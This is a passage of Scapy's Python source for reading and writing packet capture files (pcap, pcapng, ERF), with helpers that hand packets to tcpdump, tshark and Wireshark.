warning(\"PcapNg: DSB options are not supported!\")\n\n        # TLS Key Log\n        if secrets_type == 0x544c534b:\n            if getattr(conf, \"tls_sessions\", False) is False:\n                warning(\"PcapNg: TLS Key Log available, but \"\n                        \"the TLS layer is not loaded! Scapy won't be able \"\n                        \"to decrypt the packets.\")\n            else:\n                from scapy.layers.tls.session import load_nss_keys\n\n                # Write Key Log to a file and parse it\n                filename = get_temp_file()\n                with open(filename, \"wb\") as fd:\n                    fd.write(secrets_data)\n                    fd.close()\n\n                keys = load_nss_keys(filename)\n                if not keys:\n                    warning(\"PcapNg: invalid TLS Key Log in DSB!\")\n                else:\n                    # Note: these attributes are only available when the TLS\n                    #       layer is loaded.\n                    conf.tls_nss_keys = keys\n                    conf.tls_session_enable = True\n        else:\n            warning(\"PcapNg: Unknown DSB secrets type (0x%x)!\", secrets_type)\n\n    def _read_block_pib(self, block, _):\n        # type: (bytes, int) -> None\n        \"\"\"Apple Process Information Block\"\"\"\n\n        # Get the Process ID\n        try:\n            dpeb_pid = struct.unpack(self.endian + \"I\", block[:4])[0]\n            process_information = {\"id\": dpeb_pid}\n            block = block[4:]\n        except struct.error:\n            warning(\"PcapNg: DPEB is too small (%d). Cannot get PID!\",\n                    len(block))\n            raise EOFError\n\n        # Get Options\n        options = self._read_options(block)\n        for code, value in options.items():\n            if code == 2:\n                process_information[\"name\"] = value.decode(  # type: ignore\n                    \"ascii\", \"backslashreplace\")\n            elif code == 4:\n                if len(value) == 16:\n                    process_information[\"uuid\"] = str(UUID(bytes=value))  # type: ignore\n                else:\n                    warning(\"PcapNg: DPEB UUID length is invalid (%d)!\",\n                            len(value))\n\n        # Store process information\n        self.process_information.append(process_information)\n\n\nclass PcapNgReader(RawPcapNgReader, PcapReader):\n\n    alternative = PcapReader\n\n    def __init__(self, filename, fdesc=None, magic=None):  # type: ignore\n        # type: (str, IO[bytes], bytes) -> None\n        RawPcapNgReader.__init__(self, filename, fdesc, magic)\n\n    def __enter__(self):\n        # type: () -> PcapNgReader\n        return self\n\n    def read_packet(self, size=MTU, **kwargs):\n        # type: (int, **Any) -> Packet\n        rp = super(PcapNgReader, self)._read_packet(size=size)\n        if rp is None:\n            raise EOFError\n        s, (linktype, tsresol, tshigh, tslow, wirelen, comments, ifname, direction, process_information) = rp  # noqa: E501\n        try:\n            cls = conf.l2types.num2layer[linktype]  # type: Type[Packet]\n            p = cls(s, **kwargs)  # type: Packet\n        except KeyboardInterrupt:\n            raise\n        except Exception:\n            if conf.debug_dissector:\n                raise\n            if conf.raw_layer is None:\n                # conf.raw_layer is set on import\n                import scapy.packet  # noqa: F401\n            p = conf.raw_layer(s)\n        if tshigh is not None:\n            p.time = EDecimal((tshigh << 32) + tslow) / tsresol\n        p.wirelen = wirelen\n        p.comments = comments\n        p.direction = direction\n        p.process_information = process_information.copy()\n        if ifname is not None:\n            p.sniffed_on = ifname.decode('utf-8', 'backslashreplace')\n        return p\n\n    def recv(self, size: int = MTU, **kwargs: Any) -> 'Packet':  # type: ignore\n        return self.read_packet(size=size, **kwargs)\n\n\nclass GenericPcapWriter(object):\n    nano = False\n    linktype: int\n\n    def _write_header(self, pkt):\n        # type: (Optional[Union[Packet, bytes]]) -> None\n        raise NotImplementedError\n\n    def _write_packet(self,\n                      packet,  # type: Union[bytes, Packet]\n                      linktype,  # type: int\n                      sec=None,  # type: Optional[float]\n                      usec=None,  # type: Optional[int]\n                      caplen=None,  # type: Optional[int]\n                      wirelen=None,  # type: Optional[int]\n                      ifname=None,  # type: Optional[bytes]\n                      direction=None,  # type: Optional[int]\n                      comments=None,  # type: Optional[List[bytes]]\n                      ):\n        # type: (...) -> None\n        raise NotImplementedError\n\n    def _get_time(self,\n                  packet,  # type: Union[bytes, Packet]\n                  sec,  # type: Optional[float]\n                  usec  # type: Optional[int]\n                  ):\n        # type: (...) -> Tuple[float, int]\n        if hasattr(packet, \"time\"):\n            if sec is None:\n                packet_time = packet.time\n                tmp = int(packet_time)\n                usec = int(round((packet_time - tmp) *\n                           (1000000000 if self.nano else 1000000)))\n                sec = float(packet_time)\n        if sec is not None and usec is None:\n            usec = 0\n        return sec, usec  # type: ignore\n\n    def write_header(self, pkt):\n        # type: (Optional[Union[Packet, bytes]]) -> None\n        if not hasattr(self, 'linktype'):\n            try:\n                if pkt is None or isinstance(pkt, bytes):\n                    # Can't guess LL\n                    raise KeyError\n                self.linktype = conf.l2types.layer2num[\n                    pkt.__class__\n                ]\n            except KeyError:\n                msg = \"%s: unknown LL type for %s. Using type 1 (Ethernet)\"\n                warning(msg, self.__class__.__name__, pkt.__class__.__name__)\n                self.linktype = DLT_EN10MB\n        self._write_header(pkt)\n\n    def write_packet(self,\n                     packet,  # type: Union[bytes, Packet]\n                     sec=None,  # type: Optional[float]\n                     usec=None,  # type: Optional[int]\n                     caplen=None,  # type: Optional[int]\n                     wirelen=None,  # type: Optional[int]\n                     ):\n        # type: (...) -> None\n        \"\"\"\n        Writes a single packet to the pcap file.\n\n        :param packet: Packet, or bytes for a single packet\n        :type packet: scapy.packet.Packet or bytes\n        :param sec: time the packet was captured, in seconds since epoch. If\n                    not supplied, defaults to now.\n        :type sec: float\n        :param usec: If ``nano=True``, then number of nanoseconds after the\n                     second that the packet was captured. If ``nano=False``,\n                     then the number of microseconds after the second the\n                     packet was captured. If ``sec`` is not specified,\n                     this value is ignored.\n        :type usec: int or long\n        :param caplen: The length of the packet in the capture file. If not\n                       specified, uses ``len(raw(packet))``.\n        :type caplen: int\n        :param wirelen: The length of the packet on the wire. If not\n                        specified, tries ``packet.wirelen``, otherwise uses\n                        ``caplen``.\n        :type wirelen: int\n        :return: None\n        :rtype: None\n        \"\"\"\n        f_sec, usec = self._get_time(packet, sec, usec)\n\n        rawpkt = bytes_encode(packet)\n        caplen = len(rawpkt) if caplen is None else caplen\n\n        if wirelen is None:\n            if hasattr(packet, \"wirelen\"):\n                wirelen = packet.wirelen\n        if wirelen is None:\n            wirelen = caplen\n\n        comments = getattr(packet, \"comments\", None)\n        ifname = getattr(packet, \"sniffed_on\", None)\n        direction = getattr(packet, \"direction\", None)\n        if not isinstance(packet, bytes):\n            linktype: int = conf.l2types.layer2num[\n                packet.__class__\n            ]\n        else:\n            linktype = self.linktype\n        if ifname is not None:\n            ifname = str(ifname).encode('utf-8')\n        self._write_packet(\n            rawpkt,\n            sec=f_sec, usec=usec,\n            caplen=caplen, wirelen=wirelen,\n            ifname=ifname,\n            direction=direction,\n            linktype=linktype,\n            comments=comments,\n        )\n\n\nclass GenericRawPcapWriter(GenericPcapWriter):\n    header_present = False\n    nano = False\n    sync = False\n    f = None  # type: Union[IO[bytes], gzip.GzipFile]\n\n    def fileno(self):\n        # type: () -> int\n        return -1 if WINDOWS else self.f.fileno()\n\n    def flush(self):\n        # type: () -> Optional[Any]\n        return self.f.flush()\n\n    def close(self):\n        # type: () -> Optional[Any]\n        if not self.header_present:\n            self.write_header(None)\n        return self.f.close()\n\n    def __enter__(self):\n        # type: () -> GenericRawPcapWriter\n        return self\n\n    def __exit__(self, exc_type, exc_value, tracback):\n        # type: (Optional[Any], Optional[Any], Optional[Any]) -> None\n        self.flush()\n        self.close()\n\n    def write(self, pkt):\n        # type: (Union[_PacketIterable, bytes]) -> None\n        \"\"\"\n        Writes a Packet, a SndRcvList object, or bytes to a pcap file.\n\n        :param pkt: Packet(s) to write (one record for each Packet), or raw\n                    bytes to write (as one record).\n        :type pkt: iterable[scapy.packet.Packet], scapy.packet.Packet or bytes\n        \"\"\"\n        if isinstance(pkt, bytes):\n            if not self.header_present:\n                self.write_header(pkt)\n            self.write_packet(pkt)\n        else:\n            # Import here to avoid circular dependency\n            from scapy.supersocket import IterSocket\n            for p in IterSocket(pkt).iter:\n                if not self.header_present:\n                    self.write_header(p)\n\n                if not isinstance(p, bytes) and \\\n                        self.linktype != conf.l2types.get(type(p), None):\n                    warning(\"Inconsistent linktypes detected!\"\n                            \" The resulting file might contain\"\n                            \" invalid packets.\"\n                            )\n\n                self.write_packet(p)\n\n\nclass RawPcapWriter(GenericRawPcapWriter):\n    \"\"\"A stream PCAP writer with more control than wrpcap()\"\"\"\n\n    def __init__(self,\n                 filename,  # type: Union[IO[bytes], str]\n                 linktype=None,  # type: Optional[int]\n                 gz=False,  # type: bool\n                 endianness=\"\",  # type: str\n                 append=False,  # type: bool\n                 sync=False,  # type: bool\n                 nano=False,  # type: bool\n                 snaplen=MTU,  # type: int\n                 bufsz=4096,  # type: int\n                 ):\n        # type: (...) -> None\n        \"\"\"\n        :param filename: the name of the file to write packets to, or an open,\n            writable file-like object.\n        :param linktype: force linktype to a given value. If None, linktype is\n            taken from the first writer packet\n        :param gz: compress the capture on the fly\n        :param endianness: force an endianness (little:\"<\", big:\">\").\n            Default is native\n        :param append: append packets to the capture file instead of\n            truncating it\n        :param sync: do not bufferize writes to the capture file\n        :param nano: use nanosecond-precision (requires libpcap >= 1.5.0)\n\n        \"\"\"\n\n        if linktype:\n            self.linktype = linktype\n        self.snaplen = snaplen\n        self.append = append\n        self.gz = gz\n        self.endian = endianness\n        self.sync = sync\n        self.nano = nano\n        if sync:\n            bufsz = 0\n\n        if isinstance(filename, str):\n            self.filename = filename\n            if gz:\n                self.f = cast(_ByteStream, gzip.open(\n                    filename, append and \"ab\" or \"wb\", 9\n                ))\n            else:\n                self.f = open(filename, append and \"ab\" or \"wb\", bufsz)\n        else:\n            self.f = filename\n            self.filename = getattr(filename, \"name\", \"No name\")\n\n    def _write_header(self, pkt):\n        # type: (Optional[Union[Packet, bytes]]) -> None\n        self.header_present = True\n\n        if self.append:\n            # Even if prone to race conditions, this seems to be\n            # safest way to tell whether the header is already present\n            # because we have to handle compressed streams that\n            # are not as flexible as basic files\n            if self.gz:\n                g = gzip.open(self.filename, \"rb\")  # type: _ByteStream\n            else:\n                g = open(self.filename, \"rb\")\n            try:\n                if g.read(16):\n                    return\n            finally:\n                g.close()\n\n        if not hasattr(self, 'linktype'):\n            raise ValueError(\n                \"linktype could not be guessed. \"\n                \"Please pass a linktype while creating the writer\"\n            )\n\n        self.f.write(struct.pack(self.endian + \"IHHIIII\", 0xa1b23c4d if self.nano else 0xa1b2c3d4,  # noqa: E501\n                                 2, 4, 0, 0, self.snaplen, self.linktype))\n        self.f.flush()\n\n    def _write_packet(self,\n                      packet,  # type: Union[bytes, Packet]\n                      linktype,  # type: int\n                      sec=None,  # type: Optional[float]\n                      usec=None,  # type: Optional[int]\n                      caplen=None,  # type: Optional[int]\n                      wirelen=None,  # type: Optional[int]\n                      ifname=None,  # type: Optional[bytes]\n                      direction=None,  # type: Optional[int]\n                      comments=None,  # type: Optional[List[bytes]]\n                      ):\n        # type: (...) -> None\n        \"\"\"\n        Writes a single packet to the pcap file.\n\n        :param packet: bytes for a single packet\n        :type packet: bytes\n        :param linktype: linktype value associated with the packet\n        :type linktype: int\n        :param sec: time the packet was captured, in seconds since epoch. If\n                    not supplied, defaults to now.\n        :type sec: float\n        :param usec: not used with pcapng\n                     packet was captured\n        :type usec: int or long\n        :param caplen: The length of the packet in the capture file. If not\n                       specified, uses ``len(packet)``.\n        :type caplen: int\n        :param wirelen: The length of the packet on the wire. If not\n                        specified, uses ``caplen``.\n        :type wirelen: int\n        :return: None\n        :rtype: None\n        \"\"\"\n        if caplen is None:\n            caplen = len(packet)\n        if wirelen is None:\n            wirelen = caplen\n        if sec is None or usec is None:\n            t = time.time()\n            it = int(t)\n            if sec is None:\n                sec = it\n                usec = int(round((t - it) *\n                                 (1000000000 if self.nano else 1000000)))\n            elif usec is None:\n                usec = 0\n\n        self.f.write(struct.pack(self.endian + \"IIII\",\n                                 int(sec), usec, caplen, wirelen))\n        self.f.write(bytes(packet))\n        if self.sync:\n            self.f.flush()\n\n\nclass RawPcapNgWriter(GenericRawPcapWriter):\n    \"\"\"A stream pcapng writer with more control than wrpcapng()\"\"\"\n\n    def __init__(self,\n                 filename,  # type: str\n                 ):\n        # type: (...) -> None\n\n        self.header_present = False\n        self.tsresol = 1000000\n        # A dict to keep if_name to IDB id mapping.\n        # unknown if_name(None) id=0\n        self.interfaces2id: Dict[Optional[bytes], int] = {None: 0}\n\n        # tcpdump only support little-endian in PCAPng files\n        self.endian = \"<\"\n        self.endian_magic = b\"\\x4d\\x3c\\x2b\\x1a\"\n\n        self.filename = filename\n        self.f = open(filename, \"wb\", 4096)\n\n    def _get_time(self,\n                  packet,  # type: Union[bytes, Packet]\n                  sec,  # type: Optional[float]\n                  usec  # type: Optional[int]\n                  ):\n        # type: (...) -> Tuple[float, int]\n        if hasattr(packet, \"time\"):\n            if sec is None:\n                sec = float(packet.time)\n\n        if usec is None:\n            usec = 0\n\n        return sec, usec  # type: ignore\n\n    def _add_padding(self, raw_data):\n        # type: (bytes) -> bytes\n        raw_data += ((-len(raw_data)) % 4) * b\"\\x00\"\n        return raw_data\n\n    def build_block(self, block_type, block_body, options=None):\n        # type: (bytes, bytes, Optional[bytes]) -> bytes\n\n        # Pad Block Body to 32 bits\n        block_body = self._add_padding(block_body)\n\n        if options:\n            block_body += options\n\n        # An empty block is 12 bytes long\n        block_total_length = 12 + len(block_body)\n\n        # Block Type\n        block = block_type\n        # Block Total Length$\n        block += struct.pack(self.endian + \"I\", block_total_length)\n        # Block Body\n        block += block_body\n        # Block Total Length$\n        block += struct.pack(self.endian + \"I\", block_total_length)\n\n        return block\n\n    def _write_header(self, pkt):\n        # type: (Optional[Union[Packet, bytes]]) -> None\n        if not self.header_present:\n            self.header_present = True\n            self._write_block_shb()\n            self._write_block_idb(linktype=self.linktype)\n\n    def _write_block_shb(self):\n        # type: () -> None\n\n        # Block Type\n        block_type = b\"\\x0A\\x0D\\x0D\\x0A\"\n        # Byte-Order Magic\n        block_shb = self.endian_magic\n        # Major Version\n        block_shb += struct.pack(self.endian + \"H\", 1)\n        # Minor Version\n        block_shb += struct.pack(self.endian + \"H\", 0)\n        # Section Length\n        block_shb += struct.pack(self.endian + \"q\", -1)\n\n        self.f.write(self.build_block(block_type, block_shb))\n\n    def _write_block_idb(self,\n                         linktype,  # type: int\n                         ifname=None  # type: Optional[bytes]\n                         ):\n        # type: (...) -> None\n\n        # Block Type\n        block_type = struct.pack(self.endian + \"I\", 1)\n        # LinkType\n        block_idb = struct.pack(self.endian + \"H\", linktype)\n        # Reserved\n        block_idb += struct.pack(self.endian + \"H\", 0)\n        # SnapLen\n        block_idb += struct.pack(self.endian + \"I\", 262144)\n\n        # if_name option\n        opts = None\n        if ifname is not None:\n            opts = struct.pack(self.endian + \"HH\", 2, len(ifname))\n            # Pad Option Value to 32 bits\n            opts += self._add_padding(ifname)\n            opts += struct.pack(self.endian + \"HH\", 0, 0)\n\n        self.f.write(self.build_block(block_type, block_idb, options=opts))\n\n    def _write_block_spb(self, raw_pkt):\n        # type: (bytes) -> None\n\n        # Block Type\n        block_type = struct.pack(self.endian + \"I\", 3)\n        # Original Packet Length\n        block_spb = struct.pack(self.endian + \"I\", len(raw_pkt))\n        # Packet Data\n        block_spb += raw_pkt\n\n        self.f.write(self.build_block(block_type, block_spb))\n\n    def _write_block_epb(self,\n                         raw_pkt,  # type: bytes\n                         ifid,  # type: int\n                         timestamp=None,  # type: Optional[Union[EDecimal, float]]  # noqa: E501\n                         caplen=None,  # type: Optional[int]\n                         orglen=None,  # type: Optional[int]\n                         comments=None,  # type: Optional[List[bytes]]\n                         flags=None,  # type: Optional[int]\n                         ):\n        # type: (...) -> None\n\n        if timestamp:\n            tmp_ts = int(timestamp * self.tsresol)\n            ts_high = tmp_ts >> 32\n            ts_low = tmp_ts & 0xFFFFFFFF\n        else:\n            ts_high = ts_low = 0\n\n        if not caplen:\n            caplen = len(raw_pkt)\n\n        if not orglen:\n            orglen = len(raw_pkt)\n\n        # Block Type\n        block_type = struct.pack(self.endian + \"I\", 6)\n        # Interface ID\n        block_epb = struct.pack(self.endian + \"I\", ifid)\n        # Timestamp (High)\n        block_epb += struct.pack(self.endian + \"I\", ts_high)\n        # Timestamp (Low)\n        block_epb += struct.pack(self.endian + \"I\", ts_low)\n        # Captured Packet Length\n        block_epb += struct.pack(self.endian + \"I\", caplen)\n        # Original Packet Length\n        block_epb += struct.pack(self.endian + \"I\", orglen)\n        # Packet Data\n        block_epb += raw_pkt\n\n        # Options\n        opts = b''\n        if comments and len(comments):\n            for c in comments:\n                comment = bytes_encode(c)\n                opts += struct.pack(self.endian + \"HH\", 1, len(comment))\n                # Pad Option Value to 32 bits\n                opts += self._add_padding(comment)\n        if type(flags) == int:\n            opts += struct.pack(self.endian + \"HH\", 2, 4)\n            opts += struct.pack(self.endian + \"I\", flags)\n        if opts:\n            opts += struct.pack(self.endian + \"HH\", 0, 0)\n\n        self.f.write(self.build_block(block_type, block_epb,\n                                      options=opts))\n\n    def _write_packet(self,  # type: ignore\n                      packet,  # type: bytes\n                      linktype,  # type: int\n                      sec=None,  # type: Optional[float]\n                      usec=None,  # type: Optional[int]\n                      caplen=None,  # type: Optional[int]\n                      wirelen=None,  # type: Optional[int]\n                      ifname=None,  # type: Optional[bytes]\n                      direction=None,  # type: Optional[int]\n                      comments=None,  # type: Optional[List[bytes]]\n                      ):\n        # type: (...) -> None\n        \"\"\"\n        Writes a single packet to the pcap file.\n\n        :param packet: bytes for a single packet\n        :type packet: bytes\n        :param linktype: linktype value associated with the packet\n        :type linktype: int\n        :param sec: time the packet was captured, in seconds since epoch. If\n                    not supplied, defaults to now.\n        :type sec: float\n        :param caplen: The length of the packet in the capture file. If not\n                       specified, uses ``len(packet)``.\n        :type caplen: int\n        :param wirelen: The length of the packet on the wire. If not\n                        specified, uses ``caplen``.\n        :type wirelen: int\n        :param comment: UTF-8 string containing human-readable comment text\n                        that is associated to the current block. Line separators\n                        SHOULD be a carriage-return + linefeed ('\\r\\n') or\n                        just linefeed ('\\n'); either form may appear and\n                        be considered a line separator. The string is not\n                        zero-terminated.\n        :type bytes\n        :param ifname: UTF-8 string containing the\n                       name of the device used to capture data.\n                       The string is not zero-terminated.\n        :type bytes\n        :param direction:  0 = information not available,\n                           1 = inbound,\n                           2 = outbound\n        :type int\n        :return: None\n        :rtype: None\n        \"\"\"\n        if caplen is None:\n            caplen = len(packet)\n        if wirelen is None:\n            wirelen = caplen\n\n        ifid = self.interfaces2id.get(ifname, None)\n        if ifid is None:\n            ifid = max(self.interfaces2id.values()) + 1\n            self.interfaces2id[ifname] = ifid\n            self._write_block_idb(linktype=linktype, ifname=ifname)\n\n        # EPB flags (32 bits).\n        # currently only direction is implemented (least 2 significant bits)\n        if type(direction) == int:\n            flags = direction & 0x3\n        else:\n            flags = None\n\n        self._write_block_epb(packet, timestamp=sec, caplen=caplen,\n                              orglen=wirelen, comments=comments, ifid=ifid, flags=flags)\n        if self.sync:\n            self.f.flush()\n\n\nclass PcapWriter(RawPcapWriter):\n    \"\"\"A stream PCAP writer with more control than wrpcap()\"\"\"\n    pass\n\n\nclass PcapNgWriter(RawPcapNgWriter):\n    \"\"\"A stream pcapng writer with more control than wrpcapng()\"\"\"\n\n    def _get_time(self,\n                  packet,  # type: Union[bytes, Packet]\n                  sec,  # type: Optional[float]\n                  usec  # type: Optional[int]\n                  ):\n        # type: (...) -> Tuple[float, int]\n        if hasattr(packet, \"time\"):\n            if sec is None:\n                sec = float(packet.time)\n\n        if usec is None:\n            usec = 0\n\n        return sec, usec  # type: ignore\n\n\n@conf.commands.register\ndef rderf(filename, count=-1):\n    # type: (Union[IO[bytes], str], int) -> PacketList\n    \"\"\"Read a ERF file and return a packet list\n\n    :param count: read only <count> packets\n    \"\"\"\n    with ERFEthernetReader(filename) as fdesc:\n        return fdesc.read_all(count=count)\n\n\nclass ERFEthernetReader_metaclass(PcapReader_metaclass):\n    def __call__(cls, filename):\n        # type: (Union[IO[bytes], str]) -> Any\n        i = cls.__new__(cls, cls.__name__, cls.__bases__, cls.__dict__)  # type: ignore\n        filename, fdesc = cls.open(filename)\n        try:\n            i.__init__(filename, fdesc)\n            return i\n        except (Scapy_Exception, EOFError):\n            pass\n\n        if \"alternative\" in cls.__dict__:\n            cls = cls.__dict__[\"alternative\"]\n            i = cls.__new__(\n                cls,\n                cls.__name__,\n                cls.__bases__,\n                cls.__dict__  # type: ignore\n            )\n            try:\n                i.__init__(filename, fdesc)\n                return i\n            except (Scapy_Exception, EOFError):\n                pass\n\n        raise Scapy_Exception(\"Not a supported capture file\")\n\n    @staticmethod\n    def open(fname  # type: ignore\n             ):\n        # type: (...) -> Tuple[str, _ByteStream]\n        \"\"\"Open (if necessary) filename\"\"\"\n        if isinstance(fname, str):\n            filename = fname\n            try:\n                with gzip.open(filename, \"rb\") as tmp:\n                    tmp.read(1)\n                fdesc = gzip.open(filename, \"rb\")  # type: _ByteStream\n            except IOError:\n                fdesc = open(filename, \"rb\")\n\n        else:\n            fdesc = fname\n            filename = getattr(fdesc, \"name\", \"No name\")\n        return filename, fdesc\n\n\nclass ERFEthernetReader(PcapReader,\n                        metaclass=ERFEthernetReader_metaclass):\n\n    def __init__(self, filename, fdesc=None):  # type: ignore\n        # type: (Union[IO[bytes], str], IO[bytes]) -> None\n        self.filename = filename  # type: ignore\n        self.f = fdesc\n        self.power = Decimal(10) ** Decimal(-9)\n\n    # time is in 64-bits Endace's format which can be see here:\n    # https://www.endace.com/erf-extensible-record-format-types.pdf\n    def _convert_erf_timestamp(self, t):\n        # type: (int) -> EDecimal\n        sec = t >> 32\n        frac_sec = t & 0xffffffff\n        frac_sec *= 10**9\n        frac_sec += (frac_sec & 0x80000000) << 1\n        frac_sec >>= 32\n        return EDecimal(sec + self.power * frac_sec)\n\n    # The details of ERF Packet format can be see here:\n    # https://www.endace.com/erf-extensible-record-format-types.pdf\n    def read_packet(self, size=MTU, **kwargs):\n        # type: (int, **Any) -> Packet\n\n        # General ERF Header have exactly 16 bytes\n        hdr = self.f.read(16)\n        if len(hdr) < 16:\n            raise EOFError\n\n        # The timestamp is in little-endian byte-order.\n        time = struct.unpack('<Q', hdr[:8])[0]\n        # The rest is in big-endian byte-order.\n        # Ignoring flags and lctr (loss counter) since they are ERF specific\n        # header fields which Packet object does not support.\n        type, _, rlen, _, wlen = struct.unpack('>BBHHH', hdr[8:])\n        # Check if the type != 0x02, type Ethernet\n        if type & 0x02 == 0:\n            raise Scapy_Exception(\"Invalid ERF Type (Not TYPE_ETH)\")\n\n        # If there are extended headers, ignore it because Packet object does\n        # not support it. Extended headers size is 8 bytes before the payload.\n        if type & 0x80:\n            _ = self.f.read(8)\n            s = self.f.read(rlen - 24)\n        else:\n            s = self.f.read(rlen - 16)\n\n        # Ethernet has 2 bytes of padding containing `offset` and `pad`. Both\n        # of the fields are disregarded by Endace.\n        pb = s[2:size]\n        from scapy.layers.l2 import Ether\n        try:\n            p = Ether(pb, **kwargs)  # type: Packet\n        except KeyboardInterrupt:\n            raise\n        except Exception:\n            if conf.debug_dissector:\n                from scapy.sendrecv import debug\n                debug.crashed_on = (Ether, s)\n                raise\n            if conf.raw_layer is None:\n                # conf.raw_layer is set on import\n                import scapy.packet  # noqa: F401\n            p = conf.raw_layer(s)\n\n        p.time = self._convert_erf_timestamp(time)\n        p.wirelen = wlen\n\n        return p\n\n\n@conf.commands.register\ndef wrerf(filename,  # type: Union[IO[bytes], str]\n          pkt,  # type: _PacketIterable\n          *args,  # type: Any\n          **kargs  # type: Any\n          ):\n    # type: (...) -> None\n    \"\"\"Write a list of packets to a ERF file\n\n    :param filename: the name of the file to write packets to, or an open,\n        writable file-like object. The file descriptor will be\n        closed at the end of the call, so do not use an object you\n        do not want to close (e.g., running wrerf(sys.stdout, [])\n        in interactive mode will crash Scapy).\n    :param gz: set to 1 to save a gzipped capture\n    :param append: append packets to the capture file instead of\n        truncating it\n    :param sync: do not bufferize writes to the capture file\n    \"\"\"\n    with ERFEthernetWriter(filename, *args, **kargs) as fdesc:\n        fdesc.write(pkt)\n\n\nclass ERFEthernetWriter(PcapWriter):\n    \"\"\"A stream ERF Ethernet writer with more control than wrerf()\"\"\"\n\n    def __init__(self,\n                 filename,  # type: Union[IO[bytes], str]\n                 gz=False,  # type: bool\n                 append=False,  # type: bool\n                 sync=False,  # type: bool\n                 ):\n        # type: (...) -> None\n        \"\"\"\n        :param filename: the name of the file to write packets to, or an open,\n            writable file-like object.\n        :param gz: compress the capture on the fly\n        :param append: append packets to the capture file instead of\n            truncating it\n        :param sync: do not bufferize writes to the capture file\n        \"\"\"\n        super(ERFEthernetWriter, self).__init__(filename,\n                                                gz=gz,\n                                                append=append,\n                                                sync=sync)\n\n    def write(self, pkt):  # type: ignore\n        # type: (_PacketIterable) -> None\n        \"\"\"\n        Writes a Packet, a SndRcvList object, or bytes to a ERF file.\n\n        :param pkt: Packet(s) to write (one record for each Packet)\n        :type pkt: iterable[scapy.packet.Packet], scapy.packet.Packet\n        \"\"\"\n        # Import here to avoid circular dependency\n        from scapy.supersocket import IterSocket\n        for p in IterSocket(pkt).iter:\n            self.write_packet(p)\n\n    def write_packet(self, pkt):  # type: ignore\n        # type: (Packet) -> None\n\n        if hasattr(pkt, \"time\"):\n            sec = int(pkt.time)\n            usec = int((int(round((pkt.time - sec) * 10**9)) << 32) / 10**9)\n            t = (sec << 32) + usec\n        else:\n            t = int(time.time()) << 32\n\n        # There are 16 bytes of headers + 2 bytes of padding before the packets\n        # payload.\n        rlen = len(pkt) + 18\n\n        if hasattr(pkt, \"wirelen\"):\n            wirelen = pkt.wirelen\n        if wirelen is None:\n            wirelen = rlen\n\n        self.f.write(struct.pack(\"<Q\", t))\n        self.f.write(struct.pack(\">BBHHHH\", 2, 0, rlen, 0, wirelen, 0))\n        self.f.write(bytes(pkt))\n        self.f.flush()\n\n    def close(self):\n        # type: () -> Optional[Any]\n        return self.f.close()\n\n\n@conf.commands.register\ndef import_hexcap(input_string=None):\n    # type: (Optional[str]) -> bytes\n    \"\"\"Imports a tcpdump like hexadecimal view\n\n    e.g: exported via hexdump() or tcpdump or wireshark's \"export as hex\"\n\n    :param input_string: String containing the hexdump input to parse. If None,\n        read from standard input.\n    \"\"\"\n    re_extract_hexcap = re.compile(r\"^((0x)?[0-9a-fA-F]{2,}[ :\\t]{,3}|) *(([0-9a-fA-F]{2} {,2}){,16})\")  # noqa: E501\n    p = \"\"\n    try:\n        if input_string:\n            input_function = StringIO(input_string).readline\n        else:\n            input_function = input\n        while True:\n            line = input_function().strip()\n            if not line:\n                break\n            try:\n                p += re_extract_hexcap.match(line).groups()[2]  # type: ignore\n            except Exception:\n                warning(\"Parsing error during hexcap\")\n                continue\n    except EOFError:\n        pass\n\n    p = p.replace(\" \", \"\")\n    return hex_bytes(p)\n\n\n@conf.commands.register\ndef wireshark(pktlist, wait=False, **kwargs):\n    # type: (List[Packet], bool, **Any) -> Optional[Any]\n    \"\"\"\n    Runs Wireshark on a list of packets.\n\n    See :func:`tcpdump` for more parameter description.\n\n    Note: this defaults to wait=False, to run Wireshark in the background.\n    \"\"\"\n    return tcpdump(pktlist, prog=conf.prog.wireshark, wait=wait, **kwargs)\n\n\n@conf.commands.register\ndef tdecode(\n    pktlist,  # type: Union[IO[bytes], None, str, _PacketIterable]\n    args=None,  # type: Optional[List[str]]\n    **kwargs  # type: Any\n):\n    # type: (...) -> Any\n    \"\"\"\n    Run tshark on a list of packets.\n\n    :param args: If not specified, defaults to ``tshark -V``.\n\n    See :func:`tcpdump` for more parameters.\n    \"\"\"\n    if args is None:\n        args = [\"-V\"]\n    return tcpdump(pktlist, prog=conf.prog.tshark, args=args, **kwargs)\n\n\ndef _guess_linktype_name(value):\n    # type: (int) -> str\n    \"\"\"Guess the DLT name from its value.\"\"\"\n    from scapy.libs.winpcapy import pcap_datalink_val_to_name\n    return cast(bytes, pcap_datalink_val_to_name(value)).decode()\n\n\ndef _guess_linktype_value(name):\n    # type: (str) -> int\n    \"\"\"Guess the value of a DLT name.\"\"\"\n    from scapy.libs.winpcapy import pcap_datalink_name_to_val\n    val = cast(int, pcap_datalink_name_to_val(name.encode()))\n    if val == -1:\n        warning(\"Unknown linktype: %s. Using EN10MB\", name)\n        return DLT_EN10MB\n    return val\n\n\n@conf.commands.register\ndef tcpdump(\n    pktlist=None,  # type: Union[IO[bytes], None, str, _PacketIterable]\n    dump=False,  # type: bool\n    getfd=False,  # type: bool\n    args=None,  # type: Optional[List[str]]\n    flt=None,  # type: Optional[str]\n    prog=None,  # type: Optional[Any]\n    getproc=False,  # type: bool\n    quiet=False,  # type: bool\n    use_tempfile=None,  # type: Optional[Any]\n    read_stdin_opts=None,  # type: Optional[Any]\n    linktype=None,  # type: Optional[Any]\n    wait=True,  # type: bool\n    _suppress=False  # type: bool\n):\n    # type: (...) -> Any\n    \"\"\"Run tcpdump or tshark on a list of packets.\n\n    When using ``tcpdump`` on OSX (``prog == conf.prog.tcpdump``), this uses a\n    temporary file to store the packets. This works around a bug in Apple's\n    version of ``tcpdump``: http://apple.stackexchange.com/questions/152682/\n\n    Otherwise, the packets are passed in stdin.\n\n    This function can be explicitly enabled or disabled with the\n    ``use_tempfile`` parameter.\n\n    When using ``wireshark``, it will be called with ``-ki -`` to start\n    immediately capturing packets from stdin.\n\n    Otherwise, the command will be run with ``-r -`` (which is correct for\n    ``tcpdump`` and ``tshark``).\n\n    This can be overridden with ``read_stdin_opts``. This has no effect when\n    ``use_tempfile=True``, or otherwise reading packets from a regular file.\n\n    :param pktlist: a Packet instance, a PacketList instance or a list of\n        Packet instances. Can also be a filename (as a string), an open\n        file-like object that must be a file format readable by\n        tshark (Pcap, PcapNg, etc.) or None (to sniff)\n    :param flt: a filter to use with tcpdump\n    :param dump:    when set to True, returns a string instead of displaying it.\n    :param getfd:   when set to True, returns a file-like object to read data\n        from tcpdump or tshark from.\n    :param getproc: when set to True, 